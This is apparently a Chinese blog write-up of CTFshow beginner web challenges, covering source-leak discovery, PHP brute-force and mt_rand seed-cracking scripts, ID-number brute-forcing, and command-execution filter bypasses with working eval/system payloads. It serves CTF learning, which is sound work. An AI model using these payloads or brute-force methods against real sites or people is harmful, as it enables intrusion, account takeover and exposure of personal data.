CTFShow-WEB入门

这些题目存放在CTFshow平台下一个专门的分类目录WEB入门内,主要面向于刚入门的WEB萌新的学习。

题目有点多,慢慢搞


2020.9.27更新:

渐渐也有了自己不会的题目,网上还没有全的writeup,着实难顶。


信息收集

web1

题目

开发注释未及时删除

解决方案

看网页源代码拿flag

web2

题目

js前台拦截 === 无效操作

解决方案

同上,快捷键看源代码即可。

web3

题目

没思路的时候抓个包看看,可能会有意外收获

解决方案

文件头有flag

有点傻逼,我还对着Cookie干瞪眼

web4

题目

总有人把后台地址写入robots,帮黑阔大佬们引路。

解决方案

robots.txt的文件泄露

web5

题目

phps源码泄露有时候能帮上忙

解决方案

访问index.phps源码泄露。

web6

题目

解压源码到当前目录,测试正常,收工

解决方案

www.zip压缩包源码泄露,访问/fl000g.txt拿到flag

由于是动态flag生成,下载下来的压缩包里的fl000g.txt是不能直接使用的

web7

题目

版本控制很重要,但不要部署到生产环境更重要。

解决方案

版本控制想到git泄露,访问/.git。

web8

题目

版本控制很重要,但不要部署到生产环境更重要。

解决方案

常见的WEB源码泄露及利用

访问./svn获得flag。

web9

题目

发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

解决方案

index.php.swp文件泄露

web10

题目

cookie 只是一块饼干,不能存放任何隐私数据

解决方案

cookie拿flag

web11

题目

域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息

解决方案

域名解析记录查询

web12

题目

有时候网站上的公开信息,就是管理员常用密码

解决方案

直接访问/admin/看后台

沙雕题,以为是要找到网页模板去搜弱密码,结果直接拿网页上的Help Line Number 就出了,谁把密码写网页上啊

web13

题目

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

解决方案

文档泄露信息,在F12找到document.pdf,提示的默认后台通过默认账号密码登录。

web14

题目

小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

解决方案

看源码发现有editor目录,访问后发现有编辑器,通过上传附件访问整个服务器,访问/nothinghere/fl000g.txt找到flag。

web15

题目

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

解决方案

进入后台/admin,用用户名1156631961@qq.com找回密码,通过QQ找到居住地址陕西西安,重新登录获得flag。

web16

题目

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

解决方案

这东西着实以前没见过,访问/tz.php,为WEB端的探针,访问phpinfo找flag即可。

web17

题目

透过重重缓存,查找到ctfer.com的真实IP,提交 flag{IP地址}

解决方案

垃圾题

工具:https://x.threatbook.cn/

还要积分查询

一个个试,最后在上海找到了

web18

题目

不要着急,休息,休息一会儿,玩101分给你flag

解决方案

看源码,找到js文件,找到当分数大于100的if语句:

if(score>100) {
    var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
} else {
    var result=window.confirm("GAMEOVER\n是否重新开始");
}

该编码为Unicode编码,转码可得:

中文一百级选手?迷惑性中文……

访问110.php拿到flag。

web19

题目

密钥什么的,就不要放在前端了

解决方案

题目源码给出答案的用户名和密码,但是前端有一系列的加密步骤

burp抓包绕过前端验证拿flag

题目

做为信息泄露的最后一题,还有其他没有涉及到的地方,欢迎联系群主补充

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

解决方案

搁着考古呢……

试了几个常用的文件名,发现没有,于是开了御剑爆破也没有

(后来py了一下出题人)访问db/db.mdb获得flag。

爆破

web21

题目

爆破什么的,都是基操

解决方案

题目给了压缩包,结合提示应该是爆破题目。

随机输入值,抓包后发现 Authorization 参数为用户名:密码格式的base64编码后的字符串,将 Payload type 设置为 Custom iterator,设置好三个Position,加密方式为 base64,取消掉提交的转义。

找到flag:

web22

题目

域名也可以爆破的,试试爆破这个ctfer.com 的子域名

解决方案

直接盲猜 flag.ctfer.com 就没爆破了

web23

题目

还爆破?这么多代码,告辞!

解决方案

题目提示了爆破,写个脚本爆破,由于不知道几位数,先从两位数试,运气好就出了:

<?php
error_reporting(0);

$string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';


for ($i1 = 0; $i1 < 62; $i1++) {
    for ($i2 = 0; $i2 < 62; $i2++) {
        $exp = $string[$i1] . $string[$i2];
        $token = md5($exp);
        if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
            if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
                echo $exp . "\n";
                echo 'flag';
            }
        }
    }
}

直接出了两个,解还是挺多的。

web24

题目

爆个🔨

解决方案

利用到了伪随机数的特性,在种子确定时,随机数的值是确定的。

<?php
mt_srand(372619038);
echo mt_rand();
?>

payload:

?r=1155388967

web25

题目

爆个🔨,不爆了

解决方案

上源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

逻辑很清晰,首先输入 r=0,求出第一次mt_rand()值(由于flag随机,每次容器启动,答案都是不一样的)

-1504369762

提交 r=628900174 ,就可以绕过第一个过滤了。

接下来要求出在这个seed下再算出两次mt_rand(),种子是flag md5加密后的前八位,写个垃圾脚本爆破:

<?php
$string = "0123456789abcdef";
$exp = 0;

for ($i1 = 0; $i1 < 16; $i1++) {
    for ($i2 = 0; $i2 < 16; $i2++) {
        for ($i3 = 0; $i3 < 16; $i3++) {
            for ($i4 = 0; $i4 < 16; $i4++) {
                echo $exp . "\n";
                for ($i5 = 0; $i5 < 16; $i5++) {
                    for ($i6 = 0; $i6 < 16; $i6++) {
                        for ($i7 = 0; $i7 < 16; $i7++) {
                            for ($i8 = 0; $i8 < 16; $i8++) {
                                $exp = $string[$i1] . $string[$i2] . $string[$i3] . $string[$i4] . $string[$i5] . $string[$i6] . $string[$i7] . $string[$i8];
                                mt_srand(hexdec($exp));
                                if (mt_rand() == 1504369762) {
                                    echo 'answer is ' . $exp;
                                    exit();
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

脚本写的很垃圾,跑的也很久,因为不知道PHP多线程怎么写,于是写了四个exp,$i1的初始值分别设成0/4/8/12,算是缩短了四倍的时间,最后出了seed。

然后跑出token值:

提交就行

web26

题目

这个可以爆

解决方案

老渣男了,这题爆个锤子。

查看源码有个check()函数:

function check() {
        $.ajax({
            url: 'checkdb.php',
            type: 'POST',
            dataType: 'json',
            data: {
                'a': $('#a').val(),
                'p': $('#p').val(),
                'd': $('#d').val(),
                'u': $('#u').val(),
                'pass': $('#pass').val()
            },
            success: function (data) {
                alert(data['msg']);
            },
            error: function (data) {
                alert(data['msg']);
            }

        });
    }

尝试POST后返回json文件,抓包既得。

至于这题为啥这么少解,感觉不科学。

web27

题目

CTFshow菜鸡学院招生啦!

解决方案

进来是ZFsoft正方教务系统,起先想的是这个系统的登录有没有弱密码,后来没有找到后台,发现POST参数提交的时候没有用户的类型,且没有找到root的默认密码,就没有搞这个洞。

然后发现录取名单是可以下载的。下载下来的名单有八位打码:

然后有个学员录取查询系统,输入学生的身份证和姓名,结合刚才的表格,推测这里需要爆破。

身份证打码的位置比较微妙,是身份证的年月日,使得爆破难度大幅度下降,本来是十的八次方,现在只要一万多次。爆一下这位高先伊同学的身份证。

由于生日就在1990,所以很快就出了

提交之后给了初始密码和用户名,直接登录就拿到flag了。

web28(unsolved)

题目

大海捞针

解决方案

估计是有关302跳转的考点,目前没有思路,等以后再说吧。

命令执行

web29

题目

命令执行,需要严格的过滤

解决方案

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

用”绕过过滤

echo `nl fl''ag.php`;

或者直接再起一个变量绕过关键词过滤:

/?c=system($_GET['a']);&a=nl flag.php;

web30

题目

命令执行,需要严格的过滤

解决方案

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

用”绕过过滤

echo `nl fl''ag.p''hp`;

或者同上,老套娃了。

?c=eval($_GET[a])?>&a=system('cat flag.php');

web31

题目

命令执行,需要严格的过滤

解决方案

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同上题

?c=eval($_GET[a])?>&a=system('cat flag.php');

还看到了很多奇怪的姿势:

show_source(next(array_reverse(scandir(pos(localeconv())))));

评论

  1. 啊啊啊
    4周前
    2020-9-24 22:51:06

    22题提交不对啊

    • oatmeal 博主
      4周前
      2020-9-26 0:38:24

      你是不是直接提交了?我测试是可以的,你要先访问flag.ctfer.com,网站里面是flag

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇